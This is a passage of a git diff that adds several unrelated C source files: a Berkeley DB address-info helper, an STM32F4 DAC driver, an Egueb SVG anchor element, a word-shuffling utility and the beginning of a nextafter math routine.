+		sin.sin_addr.s_addr = htonl(INADDR_ANY);
+	sin.sin_port = htons((u_int16_t)port);
+
+	if ((ret = __os_calloc(dbenv, 1, sizeof(ADDRINFO), &answer)) != 0)
+		return (ret);
+	if ((ret = __os_malloc(dbenv, sizeof(sin), &answer->ai_addr)) != 0) {
+		__os_free(dbenv, answer);
+		return (ret);
+	}
+
+	answer->ai_family = AF_INET;
+	answer->ai_protocol = IPPROTO_TCP;
+	answer->ai_socktype = SOCK_STREAM;
+	answer->ai_addrlen = sizeof(sin);
+	memcpy(answer->ai_addr, &sin, sizeof(sin));
+	*res = answer;
+
+	return (0);
+#endif /* HAVE_GETADDRINFO */
+}
+
+/*
+ * __db_freeaddrinfo --
+ *
+ * PUBLIC: #if defined(HAVE_REPLICATION_THREADS)
+ * PUBLIC: void __db_freeaddrinfo __P((DB_ENV *, ADDRINFO *));
+ * PUBLIC: #endif
+ */
+void
+__db_freeaddrinfo(dbenv, ai)
+	DB_ENV *dbenv;
+	ADDRINFO *ai;
+{
+#ifdef HAVE_GETADDRINFO
+	COMPQUIET(dbenv, NULL);
+
+	freeaddrinfo(ai);
+#else
+	ADDRINFO *next, *tmpaddr;
+
+	for (next = ai; next != NULL; next = tmpaddr) {
+		if (next->ai_canonname != NULL)
+			__os_free(dbenv, next->ai_canonname);
+
+		if (next->ai_addr != NULL)
+			__os_free(dbenv, next->ai_addr);
+
+		tmpaddr = next->ai_next;
+		__os_free(dbenv, next);
+	}
+#endif
+}
diff --git a/pool/shard001/C/0023014_stm32f4xx_hal_dac_ex.c b/pool/shard001/C/0023014_stm32f4xx_hal_dac_ex.c
new file mode 100644
index 0000000000000000000000000000000000000000..ec0db92b06ae81d446e233aa5075fc8c6bf097de
--- /dev/null
+++ b/pool/shard001/C/0023014_stm32f4xx_hal_dac_ex.c
@@ -0,0 +1,390 @@
+/**
+  ******************************************************************************
+  * @file    stm32f4xx_hal_dac_ex.c
+  * @author  MCD Application Team
+  * @version V1.5.0
+  * @date    06-May-2016
+  * @brief   DAC HAL module driver.
+  *         This file provides firmware functions to manage the following 
+  *         functionalities of DAC extension peripheral:
+  *           + Extended features functions
+  *     
+  *
+  @verbatim      
+  ==============================================================================
+                      ##### How to use this driver #####
+  ==============================================================================
+    [..]          
+      (+) When Dual mode is enabled (i.e DAC Channel1 and Channel2 are used simultaneously) :
+          Use HAL_DACEx_DualGetValue() to get digital data to be converted and use
+          HAL_DACEx_DualSetValue() to set digital value to converted simultaneously in Channel 1 and Channel 2.  
+      (+) Use HAL_DACEx_TriangleWaveGenerate() to generate Triangle signal.
+      (+) Use HAL_DACEx_NoiseWaveGenerate() to generate Noise signal.
+   
+ @endverbatim    
+  ******************************************************************************
+  * @attention
+  *
+  * <h2><center>&copy; COPYRIGHT(c) 2016 STMicroelectronics</center></h2>
+  *
+  * Redistribution and use in source and binary forms, with or without modification,
+  * are permitted provided that the following conditions are met:
+  *   1. Redistributions of source code must retain the above copyright notice,
+  *      this list of conditions and the following disclaimer.
+  *   2. Redistributions in binary form must reproduce the above copyright notice,
+  *      this list of conditions and the following disclaimer in the documentation
+  *      and/or other materials provided with the distribution.
+  *   3. Neither the name of STMicroelectronics nor the names of its contributors
+  *      may be used to endorse or promote products derived from this software
+  *      without specific prior written permission.
+  *
+  * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+  * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+  * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+  * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+  * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+  * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+  * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+  *
+  ******************************************************************************
+  */ 
+
+
+/* Includes ------------------------------------------------------------------*/
+#include "stm32f4xx_hal.h"
+
+/** @addtogroup STM32F4xx_HAL_Driver
+  * @{
+  */
+
+/** @defgroup DACEx DACEx
+  * @brief DAC driver modules
+  * @{
+  */ 
+
+#ifdef HAL_DAC_MODULE_ENABLED
+
+#if defined(STM32F405xx) || defined(STM32F415xx) || defined(STM32F407xx) || defined(STM32F417xx) ||\
+    defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx) || defined(STM32F439xx) ||\
+    defined(STM32F410Tx) || defined(STM32F410Cx) || defined(STM32F410Rx) || defined(STM32F446xx) ||\
+    defined(STM32F469xx) || defined(STM32F479xx)
+/* Private typedef -----------------------------------------------------------*/
+/* Private define ------------------------------------------------------------*/
+/* Private macro -------------------------------------------------------------*/
+/* Private variables ---------------------------------------------------------*/
+/* Private function prototypes -----------------------------------------------*/
+/* Private functions ---------------------------------------------------------*/
+/* Exported functions --------------------------------------------------------*/
+/** @defgroup DACEx_Exported_Functions DAC Exported Functions
+  * @{
+  */
+
+/** @defgroup DACEx_Exported_Functions_Group1 Extended features functions
+ *  @brief    Extended features functions 
+ *
+@verbatim   
+  ==============================================================================
+                 ##### Extended features functions #####
+  ==============================================================================  
+    [..]  This section provides functions allowing to:
+      (+) Start conversion.
+      (+) Stop conversion.
+      (+) Start conversion and enable DMA transfer.
+      (+) Stop conversion and disable DMA transfer.
+      (+) Get result of conversion.
+      (+) Get result of dual mode conversion.
+                     
+@endverbatim
+  * @{
+  */
+
+/**
+  * @brief  Returns the last data output value of the selected DAC channel.
+  * @param  hdac: pointer to a DAC_HandleTypeDef structure that contains
+  *         the configuration information for the specified DAC.
+  * @retval The selected DAC channel data output value.
+  */
+uint32_t HAL_DACEx_DualGetValue(DAC_HandleTypeDef* hdac)
+{
+  uint32_t tmp = 0U;
+  
+  tmp |= hdac->Instance->DOR1;
+  
+  tmp |= hdac->Instance->DOR2 << 16U;
+  
+  /* Returns the DAC channel data output register value */
+  return tmp;
+}
+
+/**
+  * @brief  Enables or disables the selected DAC channel wave generation.
+  * @param  hdac: pointer to a DAC_HandleTypeDef structure that contains
+  *         the configuration information for the specified DAC.
+  * @param  Channel: The selected DAC channel. 
+  *          This parameter can be one of the following values:
+  *            DAC_CHANNEL_1 / DAC_CHANNEL_2
+  * @param  Amplitude: Select max triangle amplitude. 
+  *          This parameter can be one of the following values:
+  *            @arg DAC_TRIANGLEAMPLITUDE_1: Select max triangle amplitude of 1
+  *            @arg DAC_TRIANGLEAMPLITUDE_3: Select max triangle amplitude of 3
+  *            @arg DAC_TRIANGLEAMPLITUDE_7: Select max triangle amplitude of 7
+  *            @arg DAC_TRIANGLEAMPLITUDE_15: Select max triangle amplitude of 15
+  *            @arg DAC_TRIANGLEAMPLITUDE_31: Select max triangle amplitude of 31
+  *            @arg DAC_TRIANGLEAMPLITUDE_63: Select max triangle amplitude of 63
+  *            @arg DAC_TRIANGLEAMPLITUDE_127: Select max triangle amplitude of 127
+  *            @arg DAC_TRIANGLEAMPLITUDE_255: Select max triangle amplitude of 255
+  *            @arg DAC_TRIANGLEAMPLITUDE_511: Select max triangle amplitude of 511
+  *            @arg DAC_TRIANGLEAMPLITUDE_1023: Select max triangle amplitude of 1023
+  *            @arg DAC_TRIANGLEAMPLITUDE_2047: Select max triangle amplitude of 2047
+  *            @arg DAC_TRIANGLEAMPLITUDE_4095: Select max triangle amplitude of 4095                               
+  * @retval HAL status
+  */
+HAL_StatusTypeDef HAL_DACEx_TriangleWaveGenerate(DAC_HandleTypeDef* hdac, uint32_t Channel, uint32_t Amplitude)
+{  
+  /* Check the parameters */
+  assert_param(IS_DAC_CHANNEL(Channel));
+  assert_param(IS_DAC_LFSR_UNMASK_TRIANGLE_AMPLITUDE(Amplitude));
+  
+  /* Process locked */
+  __HAL_LOCK(hdac);
+  
+  /* Change DAC state */
+  hdac->State = HAL_DAC_STATE_BUSY;
+  
+  /* Enable the selected wave generation for the selected DAC channel */
+  MODIFY_REG(hdac->Instance->CR, (DAC_CR_WAVE1 | DAC_CR_MAMP1) << Channel, (DAC_CR_WAVE1_1 | Amplitude) << Channel);
+  
+  /* Change DAC state */
+  hdac->State = HAL_DAC_STATE_READY;
+  
+  /* Process unlocked */
+  __HAL_UNLOCK(hdac);
+  
+  /* Return function status */
+  return HAL_OK;
+}
+
+/**
+  * @brief  Enables or disables the selected DAC channel wave generation.
+  * @param  hdac: pointer to a DAC_HandleTypeDef structure that contains
+  *         the configuration information for the specified DAC. 
+  * @param  Channel: The selected DAC channel. 
+  *          This parameter can be one of the following values:
+  *            DAC_CHANNEL_1 / DAC_CHANNEL_2
+  * @param  Amplitude: Unmask DAC channel LFSR for noise wave generation. 
+  *          This parameter can be one of the following values: 
+  *            @arg DAC_LFSRUNMASK_BIT0: Unmask DAC channel LFSR bit0 for noise wave generation
+  *            @arg DAC_LFSRUNMASK_BITS1_0: Unmask DAC channel LFSR bit[1:0] for noise wave generation  
+  *            @arg DAC_LFSRUNMASK_BITS2_0: Unmask DAC channel LFSR bit[2:0] for noise wave generation
+  *            @arg DAC_LFSRUNMASK_BITS3_0: Unmask DAC channel LFSR bit[3:0] for noise wave generation 
+  *            @arg DAC_LFSRUNMASK_BITS4_0: Unmask DAC channel LFSR bit[4:0] for noise wave generation 
+  *            @arg DAC_LFSRUNMASK_BITS5_0: Unmask DAC channel LFSR bit[5:0] for noise wave generation 
+  *            @arg DAC_LFSRUNMASK_BITS6_0: Unmask DAC channel LFSR bit[6:0] for noise wave generation 
+  *            @arg DAC_LFSRUNMASK_BITS7_0: Unmask DAC channel LFSR bit[7:0] for noise wave generation 
+  *            @arg DAC_LFSRUNMASK_BITS8_0: Unmask DAC channel LFSR bit[8:0] for noise wave generation 
+  *            @arg DAC_LFSRUNMASK_BITS9_0: Unmask DAC channel LFSR bit[9:0] for noise wave generation 
+  *            @arg DAC_LFSRUNMASK_BITS10_0: Unmask DAC channel LFSR bit[10:0] for noise wave generation 
+  *            @arg DAC_LFSRUNMASK_BITS11_0: Unmask DAC channel LFSR bit[11:0] for noise wave generation 
+  * @retval HAL status
+  */
+HAL_StatusTypeDef HAL_DACEx_NoiseWaveGenerate(DAC_HandleTypeDef* hdac, uint32_t Channel, uint32_t Amplitude)
+{  
+  /* Check the parameters */
+  assert_param(IS_DAC_CHANNEL(Channel));
+  assert_param(IS_DAC_LFSR_UNMASK_TRIANGLE_AMPLITUDE(Amplitude));
+  
+  /* Process locked */
+  __HAL_LOCK(hdac);
+  
+  /* Change DAC state */
+  hdac->State = HAL_DAC_STATE_BUSY;
+  
+  /* Enable the selected wave generation for the selected DAC channel */
+  MODIFY_REG(hdac->Instance->CR, (DAC_CR_WAVE1 | DAC_CR_MAMP1) << Channel, (DAC_CR_WAVE1_0 | Amplitude) << Channel);
+  
+  /* Change DAC state */
+  hdac->State = HAL_DAC_STATE_READY;
+  
+  /* Process unlocked */
+  __HAL_UNLOCK(hdac);
+  
+  /* Return function status */
+  return HAL_OK;
+}
+
+/**
+  * @brief  Set the specified data holding register value for dual DAC channel.
+  * @param  hdac: pointer to a DAC_HandleTypeDef structure that contains
+  *               the configuration information for the specified DAC.
+  * @param  Alignment: Specifies the data alignment for dual channel DAC.
+  *          This parameter can be one of the following values:
+  *            DAC_ALIGN_8B_R: 8bit right data alignment selected
+  *            DAC_ALIGN_12B_L: 12bit left data alignment selected
+  *            DAC_ALIGN_12B_R: 12bit right data alignment selected
+  * @param  Data1: Data for DAC Channel2 to be loaded in the selected data holding register.
+  * @param  Data2: Data for DAC Channel1 to be loaded in the selected data  holding register.
+  * @note   In dual mode, a unique register access is required to write in both
+  *          DAC channels at the same time.
+  * @retval HAL status
+  */
+HAL_StatusTypeDef HAL_DACEx_DualSetValue(DAC_HandleTypeDef* hdac, uint32_t Alignment, uint32_t Data1, uint32_t Data2)
+{  
+  uint32_t data = 0U, tmp = 0U;
+  
+  /* Check the parameters */
+  assert_param(IS_DAC_ALIGN(Alignment));
+  assert_param(IS_DAC_DATA(Data1));
+  assert_param(IS_DAC_DATA(Data2));
+  
+  /* Calculate and set dual DAC data holding register value */
+  if (Alignment == DAC_ALIGN_8B_R)
+  {
+    data = ((uint32_t)Data2 << 8U) | Data1; 
+  }
+  else
+  {
+    data = ((uint32_t)Data2 << 16U) | Data1;
+  }
+  
+  tmp = (uint32_t)hdac->Instance;
+  tmp += DAC_DHR12RD_ALIGNMENT(Alignment);
+
+  /* Set the dual DAC selected data holding register */
+  *(__IO uint32_t *)tmp = data;
+  
+  /* Return function status */
+  return HAL_OK;
+}
+
+/**
+  * @}
+  */
+
+/**
+  * @brief  Conversion complete callback in non blocking mode for Channel2 
+  * @param  hdac: pointer to a DAC_HandleTypeDef structure that contains
+  *         the configuration information for the specified DAC.
+  * @retval None
+  */
+__weak void HAL_DACEx_ConvCpltCallbackCh2(DAC_HandleTypeDef* hdac)
+{
+  /* Prevent unused argument(s) compilation warning */
+  UNUSED(hdac);
+  /* NOTE : This function Should not be modified, when the callback is needed,
+            the HAL_DAC_ConvCpltCallback could be implemented in the user file
+   */
+}
+
+/**
+  * @brief  Conversion half DMA transfer callback in non blocking mode for Channel2 
+  * @param  hdac: pointer to a DAC_HandleTypeDef structure that contains
+  *         the configuration information for the specified DAC.
+  * @retval None
+  */
+__weak void HAL_DACEx_ConvHalfCpltCallbackCh2(DAC_HandleTypeDef* hdac)
+{
+  /* Prevent unused argument(s) compilation warning */
+  UNUSED(hdac);
+  /* NOTE : This function Should not be modified, when the callback is needed,
+            the HAL_DAC_ConvHalfCpltCallbackCh2 could be implemented in the user file
+   */
+}
+
+/**
+  * @brief  Error DAC callback for Channel2.
+  * @param  hdac: pointer to a DAC_HandleTypeDef structure that contains
+  *         the configuration information for the specified DAC.
+  * @retval None
+  */
+__weak void HAL_DACEx_ErrorCallbackCh2(DAC_HandleTypeDef *hdac)
+{
+  /* Prevent unused argument(s) compilation warning */
+  UNUSED(hdac);
+  /* NOTE : This function Should not be modified, when the callback is needed,
+            the HAL_DAC_ErrorCallback could be implemented in the user file
+   */
+}
+
+/**
+  * @brief  DMA underrun DAC callback for channel2.
+  * @param  hdac: pointer to a DAC_HandleTypeDef structure that contains
+  *         the configuration information for the specified DAC.
+  * @retval None
+  */
+__weak void HAL_DACEx_DMAUnderrunCallbackCh2(DAC_HandleTypeDef *hdac)
+{
+  /* Prevent unused argument(s) compilation warning */
+  UNUSED(hdac);
+  /* NOTE : This function Should not be modified, when the callback is needed,
+            the HAL_DAC_DMAUnderrunCallbackCh2 could be implemented in the user file
+   */
+}
+
+/**
+  * @brief  DMA conversion complete callback. 
+  * @param  hdma: pointer to a DMA_HandleTypeDef structure that contains
+  *                the configuration information for the specified DMA module.
+  * @retval None
+  */
+void DAC_DMAConvCpltCh2(DMA_HandleTypeDef *hdma)   
+{
+  DAC_HandleTypeDef* hdac = ( DAC_HandleTypeDef* )((DMA_HandleTypeDef* )hdma)->Parent;
+  
+  HAL_DACEx_ConvCpltCallbackCh2(hdac); 
+  
+  hdac->State= HAL_DAC_STATE_READY;
+}
+
+/**
+  * @brief  DMA half transfer complete callback. 
+  * @param  hdma: pointer to a DMA_HandleTypeDef structure that contains
+  *                the configuration information for the specified DMA module.
+  * @retval None
+  */
+void DAC_DMAHalfConvCpltCh2(DMA_HandleTypeDef *hdma)   
+{
+    DAC_HandleTypeDef* hdac = ( DAC_HandleTypeDef* )((DMA_HandleTypeDef* )hdma)->Parent;
+    /* Conversion complete callback */
+    HAL_DACEx_ConvHalfCpltCallbackCh2(hdac); 
+}
+
+/**
+  * @brief  DMA error callback 
+  * @param  hdma: pointer to a DMA_HandleTypeDef structure that contains
+  *                the configuration information for the specified DMA module.
+  * @retval None
+  */
+void DAC_DMAErrorCh2(DMA_HandleTypeDef *hdma)   
+{
+  DAC_HandleTypeDef* hdac = ( DAC_HandleTypeDef* )((DMA_HandleTypeDef* )hdma)->Parent;
+    
+  /* Set DAC error code to DMA error */
+  hdac->ErrorCode |= HAL_DAC_ERROR_DMA;
+    
+  HAL_DACEx_ErrorCallbackCh2(hdac); 
+    
+  hdac->State= HAL_DAC_STATE_READY;
+}
+
+/**
+  * @}
+  */
+
+#endif /* STM32F405xx || STM32F415xx || STM32F407xx || STM32F417xx ||\
+          STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx ||\
+          STM32F410xx || STM32F446xx || STM32F469xx || STM32F479xx */
+
+#endif /* HAL_DAC_MODULE_ENABLED */
+
+/**
+  * @}
+  */
+
+/**
+  * @}
+  */
+
+/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
diff --git a/pool/shard001/C/0023015_egueb_svg_element_a.c b/pool/shard001/C/0023015_egueb_svg_element_a.c
new file mode 100644
index 0000000000000000000000000000000000000000..957d468cc1181d752bbadfb76369d7828647871e
--- /dev/null
+++ b/pool/shard001/C/0023015_egueb_svg_element_a.c
@@ -0,0 +1,254 @@
+/* Egueb
+ * Copyright (C) 2011 - 2013 Jorge Luis Zapata
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library.
+ * If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include "egueb_svg_main_private.h"
+#include "egueb_svg_main.h"
+#include "egueb_svg_string.h"
+#include "egueb_svg_element_a.h"
+
+#include "egueb_svg_attr_string_private.h"
+#include "egueb_svg_renderable_container_private.h"
+
+/* TODO
+ * whenever a child is added, if it is of type renderable, then
+ * register the click event, whenever the click event occurs, trigger
+ * a function on the svg that will inform that the document should
+ * go to another location
+ * the 'a' can have any child that its parent may container except an 'a'
+ */
+/*============================================================================*
+ *                                  Local                                     *
+ *============================================================================*/
+#define EGUEB_SVG_ELEMENT_A_DESCRIPTOR egueb_svg_element_a_descriptor_get()
+#define EGUEB_SVG_ELEMENT_A_CLASS(k) ENESIM_OBJECT_CLASS_CHECK(k, 		\
+		Egueb_Svg_Element_A_Class, EGUEB_SVG_ELEMENT_A_DESCRIPTOR)
+#define EGUEB_SVG_ELEMENT_A(o) ENESIM_OBJECT_INSTANCE_CHECK(o, 		\
+		Egueb_Svg_Element_A, EGUEB_SVG_ELEMENT_A_DESCRIPTOR)
+
+typedef struct _Egueb_Svg_Element_A
+{
+	Egueb_Svg_Renderable_Container base;
+	/* properties */
+	Egueb_Dom_Node *xlink_href;
+	/* interface */
+	/* private */
+	Egueb_Dom_String *gxlink_href;
+} Egueb_Svg_Element_A;
+
+typedef struct _Egueb_Svg_Element_A_Class
+{
+	Egueb_Svg_Renderable_Container_Class base;
+} Egueb_Svg_Element_A_Class;
+
+
+static void _egueb_svg_element_a_renderable_click_cb(Egueb_Dom_Event *e,
+		void *data)
+{
+	Egueb_Svg_Element_A *thiz = data;
+	Egueb_Dom_Event *ev;
+	Egueb_Dom_Uri uri;
+
+	DBG("Requesting a new uri '%s'", egueb_dom_string_chars_get(thiz->gxlink_href));
+	if (!egueb_dom_uri_string_from(&uri, thiz->gxlink_href))
+	{
+		ERR("Invalid URI '%s'", egueb_dom_string_chars_get(thiz->gxlink_href));
+		return;
+	}
+	ev = egueb_dom_event_navigation_go_to_new(&uri);
+	egueb_dom_event_target_event_dispatch(
+			EGUEB_DOM_EVENT_TARGET_CAST(thiz), ev, NULL, NULL);
+}
+
+static Eina_Bool _egueb_svg_element_a_get_target(Egueb_Dom_Event *e,
+		Egueb_Dom_Node *n, Egueb_Dom_Node **t)
+{
+	Egueb_Dom_Node *target = NULL;
+	Egueb_Dom_Node *related = NULL;
+
+	related = egueb_dom_event_mutation_related_get(e);
+	if (related != n)
+	{
+		egueb_dom_node_unref(related);
+		return EINA_FALSE;
+	}
+	egueb_dom_node_unref(related);
+	target = EGUEB_DOM_NODE(egueb_dom_event_target_get(e));
+	if (!egueb_svg_is_renderable(target))
+	{
+		egueb_dom_node_unref(target);
+		return EINA_FALSE;
+	}
+	*t = target;
+	return EINA_TRUE;
+}
+
+static void _egueb_svg_element_a_node_inserted_cb(Egueb_Dom_Event *e,
+		void *data)
+{
+	Egueb_Dom_Node *n = data;
+	Egueb_Dom_Node *target = NULL;
+
+	if (!_egueb_svg_element_a_get_target(e, n, &target))
+		return;
+	egueb_dom_event_target_event_listener_add(
+			EGUEB_DOM_EVENT_TARGET_CAST(target),
+			EGUEB_DOM_EVENT_MOUSE_CLICK,
+			_egueb_svg_element_a_renderable_click_cb, EINA_TRUE, n);
+	egueb_dom_node_unref(target);
+}
+
+static void _egueb_svg_element_a_node_removed_cb(Egueb_Dom_Event *e,
+		void *data)
+{
+	Egueb_Dom_Node *n = data;
+	Egueb_Dom_Node *target = NULL;
+
+	if (!_egueb_svg_element_a_get_target(e, n, &target))
+		return;
+	egueb_dom_event_target_event_listener_remove(
+			EGUEB_DOM_EVENT_TARGET_CAST(target),
+			EGUEB_DOM_EVENT_MOUSE_CLICK,
+			_egueb_svg_element_a_renderable_click_cb, EINA_TRUE, n);
+	egueb_dom_node_unref(target);
+}
+/*----------------------------------------------------------------------------*
+ *                            Renderable interface                            *
+ *----------------------------------------------------------------------------*/
+static Eina_Bool _egueb_svg_element_a_process(Egueb_Svg_Renderable *r)
+{
+	Egueb_Svg_Element_A *thiz;
+	Egueb_Dom_String *gxlink_href = NULL;
+
+	thiz = EGUEB_SVG_ELEMENT_A(r);
+	egueb_dom_attr_final_get(thiz->xlink_href, &gxlink_href);
+	if (thiz->gxlink_href)
+	{
+		egueb_dom_string_unref(thiz->gxlink_href);
+		thiz->gxlink_href = NULL;
+	}
+	thiz->gxlink_href = gxlink_href;
+
+	if (!egueb_svg_renderable_container_process(r))
+		return EINA_FALSE;
+	return EINA_TRUE;
+}
+/*----------------------------------------------------------------------------*
+ *                              Element interface                             *
+ *----------------------------------------------------------------------------*/
+static Egueb_Dom_String * _egueb_svg_element_a_tag_name_get(
+		Egueb_Dom_Element *e)
+{
+	return egueb_dom_string_ref(EGUEB_SVG_NAME_A);
+}
+/*----------------------------------------------------------------------------*
+ *                              Object interface                              *
+ *----------------------------------------------------------------------------*/
+ENESIM_OBJECT_INSTANCE_BOILERPLATE(EGUEB_SVG_RENDERABLE_CONTAINER_DESCRIPTOR,
+		Egueb_Svg_Element_A, Egueb_Svg_Element_A_Class,
+		egueb_svg_element_a);
+
+static void _egueb_svg_element_a_class_init(void *k)
+{
+	Egueb_Svg_Renderable_Class *klass;
+	Egueb_Dom_Element_Class *e_klass;
+
+	klass = EGUEB_SVG_RENDERABLE_CLASS(k);
+	klass->process = _egueb_svg_element_a_process;
+
+	e_klass= EGUEB_DOM_ELEMENT_CLASS(k);
+	e_klass->tag_name_get = _egueb_svg_element_a_tag_name_get;
+}
+
+static void _egueb_svg_element_a_instance_init(void *o)
+{
+	Egueb_Svg_Element_A *thiz;
+	Egueb_Dom_Node *n;
+	Egueb_Dom_Event_Target *evt;
+
+	thiz = EGUEB_SVG_ELEMENT_A(o);
+	/* create the properties */
+	thiz->xlink_href = egueb_svg_attr_string_new(
+			egueb_dom_string_ref(EGUEB_DOM_NAME_XLINK_HREF),
+			NULL);
+
+	n = EGUEB_DOM_NODE(o);
+	egueb_dom_element_attribute_node_set(n, egueb_dom_node_ref(thiz->xlink_href), NULL);
+
+	evt = EGUEB_DOM_EVENT_TARGET_CAST(o);
+	/* whenever a renderable is added/removed, add/remove the click event */
+	egueb_dom_event_target_event_listener_add(evt,
+			EGUEB_DOM_EVENT_MUTATION_NODE_INSERTED,
+			_egueb_svg_element_a_node_inserted_cb,
+			EINA_TRUE, o);
+	egueb_dom_event_target_event_listener_add(evt,
+			EGUEB_DOM_EVENT_MUTATION_NODE_REMOVED,
+			_egueb_svg_element_a_node_removed_cb,
+			EINA_TRUE, o);
+}
+
+static void _egueb_svg_element_a_instance_deinit(void *o)
+{
+	Egueb_Svg_Element_A *thiz;
+
+	thiz = EGUEB_SVG_ELEMENT_A(o);
+	/* destroy the properties */
+	egueb_dom_node_unref(thiz->xlink_href);
+	if (thiz->gxlink_href)
+	{
+		egueb_dom_string_unref(thiz->gxlink_href);
+		thiz->gxlink_href = NULL;
+	}
+}
+/*============================================================================*
+ *                                 Global                                     *
+ *============================================================================*/
+/*============================================================================*
+ *                                   API                                      *
+ *============================================================================*/
+EAPI Egueb_Dom_Node * egueb_svg_element_a_new(void)
+{
+	Egueb_Dom_Node *n;
+
+	n = ENESIM_OBJECT_INSTANCE_NEW(egueb_svg_element_a);
+	return n;
+}
+
+EAPI Eina_Bool egueb_svg_element_is_a(Egueb_Dom_Node *n)
+{
+	if (!n) return EINA_FALSE;
+	if (!enesim_object_instance_inherits(ENESIM_OBJECT_INSTANCE(n),
+			EGUEB_SVG_ELEMENT_A_DESCRIPTOR))
+		return EINA_FALSE;
+	return EINA_TRUE;
+}
+
+EAPI void egueb_svg_element_a_xlink_href_set(Egueb_Dom_Node *n, Egueb_Dom_String *v)
+{
+	Egueb_Svg_Element_A *thiz;
+
+	thiz = EGUEB_SVG_ELEMENT_A(n);
+	egueb_dom_attr_set(thiz->xlink_href, EGUEB_DOM_ATTR_TYPE_BASE, v);
+}
+
+EAPI void egueb_svg_element_a_xlink_href_get(Egueb_Dom_Node *n, Egueb_Svg_String_Animated *v)
+{
+	Egueb_Svg_Element_A *thiz;
+
+	thiz = EGUEB_SVG_ELEMENT_A(n);
+	EGUEB_SVG_ELEMENT_ATTR_ANIMATED_GET(thiz->xlink_href, v);
+}
diff --git a/pool/shard001/C/0023022_randomize_words.c b/pool/shard001/C/0023022_randomize_words.c
new file mode 100644
index 0000000000000000000000000000000000000000..9463f0ec64d50615ade04b387578c6c476e25b64
--- /dev/null
+++ b/pool/shard001/C/0023022_randomize_words.c
@@ -0,0 +1,53 @@
+/*
+ * for each line of standard input, split into words, then print those words
+ * in random order.
+ */
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <time.h>
+
+#include "ap_getline.h"
+#include "ut_string_helpers.h"
+#include "utarray.h"
+
+int shuffle(const void* a, const void* b) {
+	return rand() % 2 == 0 ? 1 : -1;
+}
+
+int main() {
+
+	UT_array* line_words;
+	char* line, * randomized_line;
+	int len;
+
+	srand(time(NULL));
+
+	while (!feof(stdin)) {
+		len = ap_getline(&line, stdin);
+
+		utarray_new(line_words, &ut_str_icd);
+
+		/* tokenize line, pushing into array */
+		char* word;
+		word = strtok(line, " \n");
+		while (word != NULL) {
+			utarray_push_back(line_words, &word);
+			word = strtok(NULL, " \n");
+		}
+
+		/* shuffle */
+		utarray_sort(line_words, shuffle);
+
+		join_new(&randomized_line, line_words, " ");
+		printf("%s\n", randomized_line);
+
+		utarray_free(line_words);
+		free(randomized_line);
+		free(line);
+
+	}
+
+	return 0;
+}
diff --git a/pool/shard001/C/0023028_nextafter.c b/pool/shard001/C/0023028_nextafter.c
new file mode 100644
index 0000000000000000000000000000000000000000..957565081bd2b403bffea41a1ddb8278e2274974
--- /dev/null
+++ b/pool/shard001/C/0023028_nextafter.c
@@ -0,0 +1,134 @@
+/* Copyright JS Foundation and other contributors, http://js.foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ * This file is based on work under the following copyright and permission
+ * notice:
+ *
+ *     Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
+ *
+ *     Developed at SunSoft, a Sun Microsystems, Inc. business.
+ *     Permission to use, copy, modify, and distribute this
+ *     software is freely granted, provided that this notice
+ *     is preserved.
+ *
+ *     @(#)s_nextafter.c 1.3 95/01/18
+ */
+
+#include "jerry-math-internal.h"
+
+double
+nextafter (double x, double y)
+{
+  int hx, hy, ix, iy;
+  unsigned lx, ly;
+  double_accessor ret;
+
+  hx = __HI (x); /* high word of x */
+  lx = __LO (x); /* low  word of x */
+  hy = __HI (y); /* high word of y */
+  ly = __LO (y); /* low  word of y */
+  ix = hx & 0x7fffffff; /* |x| */
+  iy = hy & 0x7fffffff; /* |y| */
+
+  if (((ix >= 0x7ff00000) && ((ix - 0x7ff00000) | lx) != 0) /* x is nan */
+      || ((iy >= 0x7ff00000) && ((iy - 0x7ff00000) | ly) != 0)) /* y is nan */
+  {
+    return x + y;
+  }
+
+  if (x == y)
+  {
+    return x; /* x=y, return x */
+  }
+
+  if ((ix | lx) == 0)
+  { /* x == 0 */
+    ret.as_int.hi = hy & 0x80000000; /* return +-minsubnormal */
+    ret.as_int.lo = 1;
+    y = ret.dbl * ret.dbl;
+    if (y == ret.dbl)
+    {
+      return y;
+    }
+    else
+    {
+      return ret.dbl; /* raise underflow flag */
+    }
+  }
+
+  if (hx >= 0)
+  { /* x > 0 */
